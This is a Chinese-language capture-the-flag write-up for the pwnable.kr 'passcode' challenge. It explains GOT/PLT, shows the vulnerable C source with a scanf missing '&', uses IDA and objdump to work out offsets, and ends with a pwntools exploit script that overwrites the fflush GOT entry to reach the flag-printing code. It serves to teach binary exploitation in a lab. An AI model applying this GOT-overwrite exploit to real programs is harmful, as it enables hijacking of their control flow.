passcode - pwnable
本题运用到GOT表覆写技术,先摘取一段来自Jing0107关于Linux的GOT和PLT的知识:
GOT表:
概念:每一个外部定义的符号在全局偏移表(Global offset Table )中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。
作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld。
PLT表:
过程连接表(Procedure LinkageTable),一个PLT条目对应一个GOT条目
当main函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()函数,rtld得以调用就可以定位printf的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。
动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.
GOT覆写技术:
原理:由于got表是可写的,把其中的函数地址覆盖为我们shellcode地址,在程序进行调用这个函数时就会执行shellcode。
1.获取题目
我们先用ssh链接上pwnable的服务器获取题目。在终端输入ssh passcode@pwnable.kr -p2222
,出现提示后输入密码guest
查看目录下有的文件以及文件权限ls -l
2. 运行程序、查看文件类型、保护措施
我们先运行一下。首先需要输入用户名,接着输入密码1,密码2检查中,登录失败。
查看文件的基本信息:32位动态链接的ELF
查看文件的保存措施:有栈溢出保护和NX(数据执行保护)
3.分析源码
题目有给出源码,查看源码:cat passcode.c
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
看完源码,我们可以知道:当passcode1==338150 && passcode2==13371337时,程序会运行system("/bin/cat flag"),给出flag的内容。但是当我们输入对应值时,程序运行出错了。
我看第一遍的时候没有发现问题,那么根据题目和源码打印字符串的提示,尝试gcc编译一下,编译器给出警告:
发现是在scanf
函数时,缺少了一个&
号,造成的结果是把passcode变量当做指针,对以passcode值寻址到的内存地址进行覆盖,如果passcode可以被控制,则可造成一个DWORD SHOOT。
简单解释就是scanf
中的passcode
前少加了一个&
,导致函数读取变量passcode的值,作为写入的内存地址,而不是写入变量passcode的内存地址。
因此,如果scanf读取passcode的值作为写入地址,而写入地址不可写,那么就会造成一个内存错误。
解题关键点在welcome函数,在函数体内定义了一个100字节的字符串。
我们在IDA中查看这个定义了字符串(v1)(源码中的name)位置,距离栈底70(ebp-70h)。
我们再看main函数体中,welcome函数和login函数是连续调用的,导致它们拥有相同的栈底(ebp)。
那我们再看看login函数中,有哪些变量在栈上?password1(v1)和password2(v2)。
前面我们知道了scanf函数会,将password的初始值当做写入的内存地址。那我们就要看看password的值是否是定义时有初始值,有没有可能被修改了,尤其是welcome函数定义了一个100字节字符串。
从IDA分析来看name与password1的距离是96字节(0x70-0x10),即password1初始值有可能被覆盖修改了。
结合前面补充的GOT表知识,我们可以尝试这样:利用100字节的变量name,覆写修改password的值为GOT表上某一外部函数的地址,然后scanf将system(‘\bin\cat flag’)的内存地址写入GOT表某一函数上,如果程序调用这个被修改的函数,那么就等同于执行system(‘\bin\cat flag’)。
我们先来查询程序的GOT表:
passcode@ubuntu:~$ objdump -R passcode
passcode: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a02c R_386_COPY stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0 //printf的地址
0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT __gmon_start__
0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
结合IDA分析,可以看到调用scanf之后,就马上调用了fflush。我们就将password1的值替换为fflush在GOT表中地址,即0x0804a004
当程序要求我们输入password1时,填入调用flag命令的内存地址:0x080485E3
4.编写利用脚本
from pwn import *
pwn = process('./passcode')#加载程序
fflush_got_addr = 0x0804a004#fflush函数在GOT表地址
call_flag_addr = 0x080485E3#调用flag命令的内存地址
payload = 'a' * (0x70 - 0x10) + p32(fflush_got_addr)#将地址转换为字符串,输入给变量name
pwn.send(payload)#向程序发送字符串
pwn.send(str(call_flag_addr))#将内存地址转完为十进制的字符串。
pwn.interactive()#移交控制权
5.总结
- GOT表可改写;GOT表记录外部函数的真实地址,可以修改GOT表中记录的地址为我们想程序执行的内存地址,当程序调用被修改了GOT表的函数时,则会运行我们所期望的命令,而程序认为自己运行了外部函数。